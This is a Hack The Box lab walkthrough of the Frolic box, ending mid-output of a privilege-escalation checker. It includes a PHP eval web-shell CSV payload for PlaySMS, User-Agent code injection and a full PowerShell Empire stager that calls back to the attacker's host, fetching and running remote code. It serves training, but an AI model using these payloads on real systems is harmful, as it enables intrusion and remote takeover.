Tags: hack the box, binary exploitation, ret2libc, Empire
Frolic was an interesting box. It felt like a well thought out string of HTB Challenges where the solution to the current challenge led to the next. In my personal opinion, it’s not a bad approach to creating a box. Looking at felamos’s profile, almost every single challenge is complete. I’d hazard a guess that challenges are something felamos enjoys. I got a lot of enjoyment running through this box, kudos to felamos for a box that was simple enough to be fun yet not so simple that it was boring.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 -p 0-65535,U:0-65535 --rate 700 -oL masscan.10.10.10.111.all 10.10.10.111
════════════════════════════
open tcp 22 10.10.10.111 1553130467
open tcp 445 10.10.10.111 1553130610
open tcp 9999 10.10.10.111 1553130624
open udp 137 10.10.10.111 1553130688
open tcp 1880 10.10.10.111 1553130693
open tcp 139 10.10.10.111 1553130729
nmap -sC -sT -sU -sV -oA nmap.10.10.10.111 -p 22,445,9999,137,1880,139 10.10.10.111
═══════════════════════════════════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
137/tcp closed netbios-ns
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
22/udp closed ssh
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
139/udp closed netbios-ssn
445/udp closed microsoft-ds
1880/udp closed vsat-control
9999/udp closed distinct
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -2h05m13s, deviation: 3h10m30s, median: -15m14s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2019-03-21T06:47:58+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-03-20 20:17:58
|_ start_date: N/A
An interesting thing happens when running recursive-gobuster against the webserver, there are two directories that continue looping in on themselves. Recursive forced browsing is useful on this target until the point where only the loop directories are being found. At that point, we can ctrl+c out of the loop.
recursive-gobuster.pyz -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html -d http://10.10.10.111:9999
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
http://10.10.10.111:9999/admin
http://10.10.10.111:9999/admin/index.html
http://10.10.10.111:9999/test
http://10.10.10.111:9999/dev
http://10.10.10.111:9999/admin/css
http://10.10.10.111:9999/admin/js
http://10.10.10.111:9999/dev/test
http://10.10.10.111:9999/admin/success.html
http://10.10.10.111:9999/backup
http://10.10.10.111:9999/dev/backup
http://10.10.10.111:9999/loop
http://10.10.10.111:9999/backup/loop
http://10.10.10.111:9999/loop/loop
http://10.10.10.111:9999/backup/loop/loop
http://10.10.10.111:9999/loop/loop/loop
http://10.10.10.111:9999/backup/loop/loop/loop
-------------8<-------------
Browsing to http://10.10.10.111:9999/admin/success.html presents us with the following code.
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... .....
..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!!
!!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.?
!!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... .....
..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?..
..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!...
..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?....
..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?.
..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?.
For many, Frolic was their first foray into esoteric programming languages, and understandably struggled with this step. The awesome-esolangs repo is a pretty good resource for esolangs, but we need to have a good idea of what we’re looking for before using it. Googling for esolang with exclamation points and question marks yields pretty good results. The second hit is dcode.fr’s ook-language page.
Taking a look on the ook-language page explains why ook is one of the top hits, but we don’t actually see Ook anywhere in the code. It turns out that the code can be “simplified” by removing the Ooks.
Now that we know that we’re working with ook, we can use the same page to execute our ook code and view the output.
As shown above, viewing the output points us to another page, let’s go!
When we browse to http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS, we see the base64 encoded text below.
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA
A quick copy and paste into a base64 decode command leaves us with an unknown file.
echo 'UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
> BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
> K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
> EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
> lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
> AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
> AAAAAAEAAQBPAAAAAwEAAAAA' | base64 -d > frolic.decoded
file
reports back that it’s a zip file.
file frolic.decoded
═══════════════════
frolic.decoded: Zip archive data, at least v2.0 to extract
When attempting to unzip
the file, we find that it’s password protected.
unzip frolic.decoded
════════════════════
Archive: frolic.decoded
[frolic.decoded] index.php password:
skipping: index.php incorrect password
Let’s fix that. fcrackzip
is a great tool for cracking password protected zip files.
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u frolic.decoded
PASSWORD FOUND!!!!: pw == password
fcrackzip options used:
-D
Use a dictionary
-p
Name of dictionary
-u
Use unzip to decompress the file
It appears we could have just guessed the password, but learning new tools is never a bad thing. Let’s use the password and see what’s inside.
unzip frolic.decoded
════════════════════
Archive: frolic.decoded
[frolic.decoded] index.php password: password
inflating: index.php
When we cat
the contents, we see what looks to be a bunch of ascii hex.
cat index.php
═════════════
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
We can use burp to decode the ascii hex to plain text. All we need to do is go to the Decoder tab, paste in our text, then click Decode as … and select ASCII hex.
After decoding the text, we’re left with some more base64 encoded data. Onward!
Another base64 decode command will get us another mystery file.
echo 'KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg=='|base64 -d > frolic.decoded.again
This time it’s just ascii, however it’s also another esolang. This time around it’s very easy to recognize; it’s brainfuck!
cat frolic.decoded.again
════════════════════════
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
A quick google search turns up a nice suite of online interpreters called Try It Online. We can use it to run our code.
This time, we’re shown what appears to be a password. We’ll hang onto it and view another one of the pages we found while running recursive-gobuster.
Browsing to http://10.10.10.111:9999/dev/backup displays another path for us, presumably our next step!
If we head to /playsms, we’re presented with a login.
Using the password we found and the default username for PlaySMS, we gain access to the playsms web application! PlaySMS’s default username is admin, making our creds admin:idkwhatispass
.
Now that we’re authenticated, let’s use searchsploit to check for known playSMS vulnerabilities. Since we don’t know the version, and google-fu determined that to find the version we need to query the database, we’ll try the first exploit exploit returned since it doesn’t appear to be tied to a particular version.
searchsploit playsms
════════════════════
------------------------------------------------------------------------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------ ----------------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) | exploits/php/remote/44598.rb
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | exploits/php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution | exploits/php/webapps/42044.txt
-------------8<-------------
We’re going to do things a bit different this time. Normally with a Metasploit module, we’d fire up msf and be off to the races. Instead, we’re going to perform the same steps the Metasploit module takes by hand and use Powershell Empire for post-exploitation.
For those that are either taking or plan to take their OSCP, reviewing Metasploit modules and performing the same steps manually is a great way to not use your only Meterpreter/Metasploit on a box where it’s not necessary.
Let’s pull up the source code; /usr/share/metasploit-framework/modules/exploits/multi/http/playsms_uploadcsv_exec.rb
. The description states the following:
This module exploits an authenticated file upload remote code excution vulnerability in PlaySMS Version 1.4. This issue is caused by improper file contents handling in import.php (aka the Phonebook import feature). Authenticated Users can upload a CSV file containing a malicious payload via vectors involving the User-Agent HTTP header and PHP code in the User-Agent.
Based on the description, we’ll need to reproduce the malicious payload, upload it using the Phonebook import feature, and insert PHP code into the User-Agent header.
In the source, everything before line 161 is related to logging in and handling the CSRF token. That will all be handled by the browser for us and isn’t a concern. What we’re interested in starts on line 161.
161 # Payload.
162 evil = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"
163 #making csv file body
164 final_csv = "Name,Email,Department\n"
165 final_csv << "#{evil},#{rand(1..100)},#{rand(1..100)}"
Here we have our csv file contents. Let’s use this and create our own.
totally-valid.csv
═════════════════
Name,Email,Department
<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>,epi,stuff
In addition to the csv, we can confirm that the actual payload (meterpreter or whatever is chosen) gets inserted into the User-Agent header.
173 # Lets Send Upload request.
174 res = send_request_cgi({
175 'uri' => normalize_uri(uri, 'index.php'),
176 'method' => 'POST',
177 'agent' => payload.encode,
178 'cookie' => cookies,
179 'vars_get' => Hash[{
180 'app' => 'main',
181 'inc' => 'feature_phonebook',
182 'route' => 'import',
183 'op' => 'import',
184 }.to_a.shuffle],
185 'headers' => {
186 'Upgrade-Insecure-Requests' => '1',
187 },
188 'Connection' => 'close',
189 'data' => data,
190 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
191 })
We now understand how to do what needs to be done. Now we need to generate a payload. We’ll need to get Empire setup and running to do that. Empire is not installed on kali by default, let’s get it installed.
First, clone the repo.
git clone https://github.com/EmpireProject/Empire.git
Then run the install script as root.
cd Empire
./setup/install.sh
Once the script completes, we can start Empire.
./empire
════════
`````````
``````.--::///+
````-+sydmmmNNNNNNN
``./ymmNNNNNNNNNNNNNN
``-ymmNNNNNNNNNNNNNNNNN
```ommmmNNNNNNNNNNNNNNNNN
``.ydmNNNNNNNNNNNNNNNNNNNN
```odmmNNNNNNNNNNNNNNNNNNNN
```/hmmmNNNNNNNNNNNNNNNNMNNN
````+hmmmNNNNNNNNNNNNNNNNNMMN
````..ymmmNNNNNNNNNNNNNNNNNNNN
````:.+so+//:---.......----::-
`````.`````````....----:///++++
``````.-/osy+////:::---...-dNNNN
````:sdyyydy` ```:mNNNNM
````-hmmdhdmm:` ``.+hNNNNNNM
```.odNNmdmmNNo````.:+yNNNNNNNNNN
```-sNNNmdh/dNNhhdNNNNNNNNNNNNNNN
```-hNNNmNo::mNNNNNNNNNNNNNNNNNNN
```-hNNmdNo--/dNNNNNNNNNNNNNNNNNN
````:dNmmdmd-:+NNNNNNNNNNNNNNNNNNm
```/hNNmmddmd+mNNNNNNNNNNNNNNds++o
``/dNNNNNmmmmmmmNNNNNNNNNNNmdoosydd
`sNNNNdyydNNNNmmmmmmNNNNNmyoymNNNNN
:NNmmmdso++dNNNNmmNNNNNdhymNNNNNNNN
-NmdmmNNdsyohNNNNmmNNNNNNNNNNNNNNNN
`sdhmmNNNNdyhdNNNNNNNNNNNNNNNNNNNNN
/yhmNNmmNNNNNNNNNNNNNNNNNNNNNNmhh
`+yhmmNNNNNNNNNNNNNNNNNNNNNNmh+:
`./dmmmmNNNNNNNNNNNNNNNNmmd.
`ommmmmNNNNNNNmNmNNNNmmd:
:dmmmmNNNNNmh../oyhhhy:
`sdmmmmNNNmmh/++-.+oh.
`/dmmmmmmmmdo-:/ossd:
`/ohhdmmmmmmdddddmh/
`-/osyhdddddhyo:
``.----.`
Welcome to the Empire
Empire has a fundamentally different approach on how to interact with targets. While Metasploit favors interactive shells, Empire handles communication through Agents that periodically callback and pickup taskings. The taskings execute on target, then the results are passed back the next time the Agent checks in. The Quick Start documentation is a great place to pick up the basics of the framework.
First, we need a Listener for the Agents to which the Agent can callback. Typing listeners
drops us into the listeners context menu.
Tab completion support is very good in Empire, don’t be afraid to use it
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) >
While in the listeners context, we can type uselistener
and tab-complete a type of listener to use. We’ll use http
.
(Empire: listeners) > uselistener
dbx http http_com http_foreign http_hop http_mapi meterpreter onedrive redirector
(Empire: listeners) > uselistener http
(Empire: listeners/http) >
Typing info
presents us with a lot of options we can configure.
(Empire: listeners/http) > info
Name: HTTP[S]
Category: client_server
Authors:
@harmj0y
Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.
HTTP[S] Options:
Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://10.0.2.15:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True 5J9|V=>!j2;mpXPI]N7DLx*aW_+[&sw# Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php
The only setting we need to update is the Host
. We need to ensure it points to our HTB ip address.
(Empire: listeners/http) > set Host 10.10.14.16
Rerunning info
confirms that we’ve properly updated the Host field.
(Empire: listeners/http) > info
-------------8<-------------
Host True http://10.10.14.16:80 Hostname/IP for staging.
-------------8<-------------
Now, we can start the listener.
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
Typing listeners
again brings us back to the listeners context menu where we see our new listener listening.
(Empire: stager/multi/bash) > listeners
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://10.10.14.16:80 5/0.0
Now we’ll need a Stager. The Stager is responsible for reaching back to the Listener to pickup and execute the second and third stages. Once it’s complete, the Agent will be running and we’ll be able to interact with it. In Metasploit terms, this is a staged payload. The Stager is what we’ll use in the User-Agent header.
As our first step, we’ll use the usestager
command and tab complete it out to include multi/bash
.
(Empire: listeners) > usestager
multi/bash osx/applescript osx/launcher osx/teensy windows/ducky windows/launcher_vbs windows/teensy
multi/launcher osx/application osx/macho windows/backdoorLnkMacro windows/hta windows/launcher_xml
multi/macro osx/ducky osx/macro windows/bunny windows/launcher_bat windows/macro
multi/pyinstaller osx/dylib osx/pkg windows/csharp_exe windows/launcher_lnk windows/macroless_msword
multi/war osx/jar osx/safari_launcher windows/dll windows/launcher_sct windows/shellcode
(Empire: listeners) > usestager multi/bash
(Empire: stager/multi/bash) >
Let’s check info
on our selected Stager.
(Empire: stager/multi/bash) > info
Name: BashScript
Description:
Generates self-deleting Bash script to execute the
Empire stage0 launcher.
Options:
Name Required Value Description
---- -------- ------- -----------
Listener True Listener to generate stager for.
OutFile False File to output Bash script to, otherwise
displayed on the screen.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Language True python Language of the stager to generate.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
The only option we need to tweak here is to tie this Stager to our http Listener created earlier.
(Empire: stager/multi/bash) > set Listener http
(Empire: stager/multi/bash) > info
-------------8<-------------
Listener True http Listener to generate stager for.
-------------8<-------------
Now we can generate the Stager.
(Empire: stager/multi/bash) > generate
1#!/bin/bash
2echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xNC4xNjo4MCc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249TEtuRGN1VFlzN3k1aGUzUndmQm9iako0d3FRPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJzVKOXxWPT4hajI7bXBYUEldTjdETHgqYVdfK1smc3cjJztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));" | /usr/bin/python &
3rm -f "$0"
4exit
We’re very close to the end, now we just need to incorporate our Stager into our exploit.
To handle our User-Agent injection, we’ll use burp. In burp, we’ll head to the Proxy
tab, then the Options
sub-tab. We’ll scroll down until we see the section titled Match and Replace
.
We’re going to use one of the existing Match and Replace rules to automatically change our normal User-Agent to one that includes our generated Stager.
Click on one of the entries where the Match column contains the string ^User-Agent.*$ and then click Edit
.
We’re going to replace everything after User-Agent: with our the line in our Stager that begins with echo
and ends with &
. Basically, we only include line 2.
Click OK
and then click the checkbox next to the altered rule to turn it on. Don’t point firefox at burp yet, since we don’t need to inject the header quite yet.
To put all the pieces together, we need to start by logging into http://10.10.10.111:9999/playsms with the creds admin:idkwhatispass
. After that, we click My Account
followed by Phonebook
.
Then, we’ll click on the downward-arrow button.
Now we see the upload form for our malicious CSV we created earlier.
Before proceeding, get firefox pointed at burp’s proxy. My recommended way is to use FoxyProxy.
With firefox configured to send traffic to burp, we can finally click Browse
to select our CSV and then click Import
!
If all went well, in our Empire window, we should see some activity.
(Empire: stager/multi/bash) > [*] Sending PYTHON stager (stage 1) to 10.10.10.111
[*] Agent 64SDCKU7 from 10.10.10.111 posted valid Python PUB key
[*] New agent 64SDCKU7 checked in
[+] Initial agent 64SDCKU7 from 10.10.10.111 now active (Slack)
[*] Sending agent (stage 2) to 64SDCKU7 at 10.10.10.111
[!] strip_python_comments is deprecated and should not be used
(Empire: stager/multi/bash) >
Noice! Our Stager called back to our Listener to upload and execute our Agent. Now we need to start interacting with our shiny new Agent. Similar to steps before, we need to jump to the agents context menu.
(Empire: stager/multi/bash) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen
---- -- ----------- ------------ -------- ------- --- ----- ---------
64SDCKU7 py 127.0.1.1 frolic www-data /usr/bin/python 3195 5/0.0 2019-03-22 08:48:25
Now it’s time to interact
with our Agent.
(Empire: agents) > interact 64SDCKU7
(Empire: 64SDCKU7) >
We can type help
for a list of available commands.
(Empire: 64SDCKU7) > help
Agent Commands
==============
agents Jump to the agents menu.
back Go back a menu.
cat View the contents of a file
cd Change an agent's active directory
clear Clear out agent tasking.
creds Display/return credentials from the database.
download Task an agent to download a file.
exit Task agent to exit.
help Displays the help menu or syntax for particular commands.
info Display information about this agent
jobs Return jobs or kill a running job.
killdate Get or set an agent's killdate (01/01/2016).
list Lists all active agents (or listeners).
listeners Jump to the listeners menu.
loadpymodule Import zip file containing a .py module or package with an __init__.py
lostlimit Task an agent to display change the limit on lost agent detection
main Go back to the main menu.
osx_screenshot Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe
python Task an agent to run a Python command.
pythonscript Load and execute a python script
removerepo Remove a repo
rename Rename the agent.
resource Read and execute a list of Empire commands from a file.
searchmodule Search Empire module names/descriptions.
shell Task an agent to use a shell command.
sleep Task an agent to 'sleep interval [jitter]'
sysinfo Task an agent to get system information.
upload Task an agent to upload a file.
usemodule Use an Empire Python module.
viewrepo View the contents of a repo. if none is specified, all files will be returned
workinghours Get or set an agent's working hours (9:00-17:00).
info
will show us some detailed information about our Agent.
(Empire: 64SDCKU7) > info
[*] Agent info:
nonce 8437475023930078
jitter 0.0
servers None
internal_ip 127.0.1.1
working_hours
session_key �j�4+3
��];�|:�lġׁ��Ƥ30 �;n;
children None
checkin_time 2019-03-22 08:45:31
hostname frolic
id 1
delay 5
username www-data
kill_date
parent None
process_name /usr/bin/python
listener http
process_id 3195
profile /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
os_details Linux,frolic,4.4.0-116-generic,#140-Ubuntu SMP Mon Feb 12 21:22:43 UTC
2018,i686
lost_limit 60
taskings None
name 64SDCKU7
language python
external_ip 10.10.10.111
session_id 64SDCKU7
lastseen_time 2019-03-22 08:51:52
language_version 2.7
high_integrity 0
We can use shell
to run commands on target.
(Empire: 64SDCKU7) > shell id
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 4
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
..Command execution completed.
[*] Valid results returned by 10.10.10.111
(Empire: AKXW4PKZ) > shell cat /home/ayush/user.txt
[*] Tasked AKXW4PKZ to run TASK_SHELL
.[*] Agent AKXW4PKZ tasked with task ID 13
(Empire: AKXW4PKZ) > [*] Agent AKXW4PKZ returned results.
2ab9...
..Command execution completed.
[*] Valid results returned by 10.10.10.111
We’ve avoided use of msf (though we stole the exploitation technique from it) and got to play around with Empire, not too shabby for initial access.
\o/ - access level: www-data
For fun, we can use Empire’s builtin linux privesc checker. The source code with comments for the underlying python can be found here. In order to run the module, we type usemodule
and tab complete it out to find the module name.
(Empire: 64SDCKU7) > usemodule
collection/linux/hashdump* persistence/osx/mail
collection/linux/keylogger privesc/linux/linux_priv_checker
collection/linux/mimipenguin* privesc/linux/unix_privesc_check
collection/linux/pillage_user privesc/multi/bashdoor
-------------8<-------------
(Empire: 64SDCKU7) > usemodule privesc/linux/linux_priv_checker
(Empire: python/privesc/linux/linux_priv_checker) >
We can pull up info
on the module.
(Empire: python/privesc/linux/linux_priv_checker) > info
Name: LinuxPrivChecker
Module: python/privesc/linux/linux_priv_checker
NeedsAdmin: False
OpsecSafe: True
Language: python
MinLanguageVersion: 2.6
Background: False
OutputExtension: None
Authors:
@Killswitch_GUI
@SecuritySift
Description:
This script is intended to be executed locally ona Linux box
to enumerate basic system info, and search for
commonprivilege escalation vectors with pure python.
Comments:
For full comments and code:
www.securitysift.com/download/linuxprivchecker.py
Options:
Name Required Value Description
---- -------- ------- -----------
Agent True 64SDCKU7 Agent to run on.
The module doesn’t require any configuration on our end, so we can just execute
it.
(Empire: python/privesc/linux/linux_priv_checker) > execute
[*] Tasked 64SDCKU7 to run TASK_CMD_WAIT
[*] Agent 64SDCKU7 tasked with task ID 5
[*] Tasked agent 64SDCKU7 to run module python/privesc/linux/linux_priv_checker
After a short amount of time, results are returned.
(Empire: python/privesc/linux/linux_priv_checker) > [*] Agent 64SDCKU7 returned results.
=================================================================================================
LINUX PRIVILEGE ESCALATION CHECKER
=================================================================================================
[*] GETTING BASIC SYSTEM INFO...
[+] Kernel
Linux version 4.4.0-116-generic (buildd@lgw01-amd64-023) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018
[+] Hostname
frolic
